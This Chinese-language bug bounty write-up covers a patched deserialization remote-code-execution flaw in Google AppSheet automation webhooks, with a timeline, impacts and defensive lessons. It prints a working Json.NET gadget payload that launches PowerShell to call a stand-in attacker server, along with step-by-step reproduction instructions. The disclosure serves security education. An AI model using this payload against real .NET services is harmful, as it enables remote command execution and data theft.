白帽故事 · 2025年8月11日

💣 Google 赏金猎手的胜利:如何发现并利用一个价值$10,000的反序列化RCE漏洞?

🎬 无代码,全面访问

Google 的 AppSheet 是一个无代码平台,被成千上万的企业工作流所采用。

但在 2022 年 9 月,一个自动化功能变成了远程控制 Google 自身服务器的工具。

安全研究员 Chip 发现了一个反序列化远程代码执行(RCE)漏洞,允许在后台执行任意 PowerShell 命令。

结果是:

💰 1万美元的奖金

🚨 在被滥用之前修复了关键漏洞

🌍 保护了数百万用户

file

🧩 什么是反序列化 RCE?

  • 序列化 = 将对象打包以便存储或传输
  • 反序列化 = 将对象解包回内存

如果系统在反序列化时盲目信任并执行任何传入内容,攻击者就可以发送恶意对象来执行命令。

在 .NET 中,这可能被滥用为:

  • 实例化危险类(System.Diagnostics.Process
  • 调用方法(Start
  • 执行 Shell 命令(cmdpowershell

🔍 漏洞是如何被发现的

AppSheet 的自动化功能允许用户:

  • 创建一个定期(例如每月)运行的 Bot
  • 添加 Webhook 步骤,通过 HTTP POST 调用任意 URL
  • 提供自定义 JSON 数据

Chip 发现这个自定义数据在没有验证的情况下被反序列化,从而能够传递任意 .NET 对象类型和方法调用。

💻 恶意PoC示例

{
    "$type": "System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
    "MethodName": "Start",
    "MethodParameters": {
        "$type": "System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
        "$values": [
            "cmd",
            "/c powershell -command \"Invoke-WebRequest -URI http://attacker-server.com\""
        ]
    },
    "ObjectInstance": {
        "$type": "System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"
    }
}

📌 它的功能:

  • ObjectDataProvider 动态调用 Start 方法

  • Process 创建一个新的系统进程

  • PowerShell 向攻击者的服务器发送请求(作为代码执行的证明)

攻击链证明

🛠 步骤复现(仅供学习目的)

  1. 创建一个 AppSheet 账户并进入自动化模块
  2. 添加一个新 Bot,将其设置为定期执行(例如:每月)
  3. 添加一个步骤 → 调用 Webhook
  4. 设置方法为POST,URL为你控制的任意测试服务器(例如,http://your-server.com
  5. 在请求体中粘贴上述恶意Payload(将 your-server.com 替换为你的域名)
  6. 保存并等待 Bot 的运行
  7. 检查你的服务器日志 → 你会看到来自 Google AppSheet 基础设施的请求

📊 攻击链流程

[攻击者]
    │
    ▼
[AppSheet 自动化 Bot]
    │  (POST 含恶意 .NET 对象)
    ▼
[后端中的不安全反序列化]
    │
    ▼
[System.Diagnostics.Process.Start()]
    │
    ▼
[PowerShell 命令执行]
    │
    ▼
[攻击者的服务器接收回调信息]

🎯 漏洞利用影响

  • 在 Google 服务器上执行任意命令
  • 从 AppSheet 托管的应用程序中窃取敏感企业数据
  • 在 Google 基础设施内部署恶意软件或勒索软件
  • 进入 Google 云平台的内部服务

📅 漏洞时间线

  • 2022 年 9 月 19 日:将漏洞报告给谷歌 VRP
  • 2022 年 9 月 19 日:同一天进行了分类
  • 2022 年 9 月 28 日:被接受
  • 2022 年 10 月 31 日:已修复
  • 奖金发放:1万美元

🛡 Google 的修复措施

  • 在反序列化时强制执行类型白名单
  • 清理自动化负载
  • 防止自动化创建系统进程

📚 对开发者的教训

  • 切勿反序列化不受信任的数据
  • 使用安全的序列化格式(无多态类型绑定的 JSON)
  • 对自动化/自定义工作流进行输入验证
  • 记录和监视来自后端进程的 outgoing 请求

🏆 对赏金猎手的建议

  • 探索自动化和自定义功能——这些功能通常被忽视
  • 测试服务器端解析客户端控制的输入
  • 在 .NET 应用中,始终检查 JSON/XML 中的对象注入
  • 结合 SSRF、RCE 或权限升级以获取更高的影响力

🚀 结论

这个漏洞表明,尽管没有代码,也不意味着没有风险。一个简单的反序列化缺陷可能使一个无害的自动化 Bot 变成了 Google 服务器的远程控制工具。

由于负责任的披露,Chip 将这个潜在的全球安全威胁转变为了一笔 1万美元的成功故事——充分证明了好奇心和道德终会有回报。

原文:https://infosecwriteups.com/10-000-google-bug-bounty-how-a-deserialization-rce-in-appsheet-could-have-led-to-remote-code-955b0a2e840b